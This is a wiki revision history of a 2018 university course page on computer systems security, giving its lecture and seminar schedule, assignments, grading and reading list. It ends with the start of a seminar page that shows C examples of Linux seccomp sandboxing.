# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (20.11) [[Бинарные программы. Обратная разработка программ.]]
# (27.11) [https://drive.google.com/file/d/1Aq9shLjGTypbGrGSFksfEdziu_XX41kG/view Атаки на блочные шифры.]
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2018

2018-12-18T11:25:11Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]

(2-й модуль)
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.]
# (20.11) [Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.]
# (27.11) [https://drive.google.com/file/d/1AXe9ZzQEGA2tmKOYUsja_DkGMTFMt2Sc Криптография. Введение и история. Симметричные шифры и атаки на них.]
# (04.12) [https://drive.google.com/file/d/1mwQ0a9lpAWfzOa2ZjUxT5yeDP6DaSAc8 Криптография, Асимметричные шифры и атаки на них.]
# (11.12) [https://drive.google.com/file/d/1aWJog7iPfwAzGifK8CV9HDKG2tXaxPwG Криптография. Приложения - PKI, WoT, Блокчейн.]
# (18.12) [https://drive.google.com/file/d/1mFal2MBiiYOMFR1HolwzQq3zxvD0tP40 Криптография. Пост-квантовая криптография. Заключение.]

Семинары:
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (20.11) [[Бинарные программы. Обратная разработка программ.]]
# (27.11) [https://drive.google.com/file/d/1Aq9shLjGTypbGrGSFksfEdziu_XX41kG/view Атаки на блочные шифры.]
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2018

2018-12-04T10:45:39Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]

(2-й модуль)
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.]
# (20.11) [Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.]
# (27.11) [https://drive.google.com/file/d/1AXe9ZzQEGA2tmKOYUsja_DkGMTFMt2Sc Криптография. Введение и история. Симметричные шифры и атаки на них.]
# (04.12) [https://drive.google.com/file/d/1mwQ0a9lpAWfzOa2ZjUxT5yeDP6DaSAc8 Криптография, Асимметричные шифры и атаки на них.]
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]

Семинары:
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (20.11) [[Бинарные программы. Обратная разработка программ.]]
# (27.11) [https://drive.google.com/file/d/1Aq9shLjGTypbGrGSFksfEdziu_XX41kG/view Атаки на блочные шифры.]
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2018

2018-12-03T20:09:36Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]

(2-й модуль)
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.]
# (20.11) [Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.]
# (27.11) [https://drive.google.com/file/d/1AXe9ZzQEGA2tmKOYUsja_DkGMTFMt2Sc Криптография. Введение и история. Симметричные шифры и атаки на них.]
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]

Семинары:
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (20.11) [[Бинарные программы. Обратная разработка программ.]]
# (27.11) [https://drive.google.com/file/d/1Aq9shLjGTypbGrGSFksfEdziu_XX41kG/view Атаки на блочные шифры.]
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2018

2018-11-14T18:45:05Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]

(2-й модуль)
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.]
# (20.11) [Криптография. Введение и история]
# (27.11) [Криптография. Симметричные шифры и атаки на них.]
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]

Семинары:
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (20.11) [[Продвинутые бинарные уязвимости, Webassembly.]]
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме "Бинарные уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2018

2018-11-14T04:27:44Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]

(2-й модуль)
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.]
# (20.11) [Криптография. Введение и история]
# (27.11) [Криптография. Симметричные шифры и атаки на них.]
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]

Семинары:
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (20.11)
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме "Бинарные уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2018/SECCOMP

2018-11-13T12:17:33Z

== Linux seccomp ==
Ссылки для изучения:

# Рекомендуемая основная презентация (пригодится для выполнения бонусного задания к заданию 3): http://events.linuxfoundation.org/sites/events/files/slides/limiting_kernel_attack_surface_with_seccomp-ContainerCon.eu_2016-Kerrisk.pdf
# https://eigenstate.org/notes/seccomp
# Kafel - язык для конструирования политик seccomp (not an official Google product) https://github.com/google/kafel

== Тестовый пример 1 ==

#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
int main () {
pid_t pid;
printf("Step 1: no restrictions yet\n");
prctl (PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
printf ("Step 2: entering the strict mode. Only read(), write(), exit() and sigreturn() syscalls are allowed\n");
pid = getpid ();
printf ("!!YOU SHOULD NOT SEE THIS!! My PID = %d", pid);
return 0;
}

== Тестовый пример 2 ==

#include <stdio.h>
#include <seccomp.h>
#include <unistd.h>
#include <sys/fcntl.h>
#include <errno.h>
int main() {
pid_t pid;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_TRAP);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
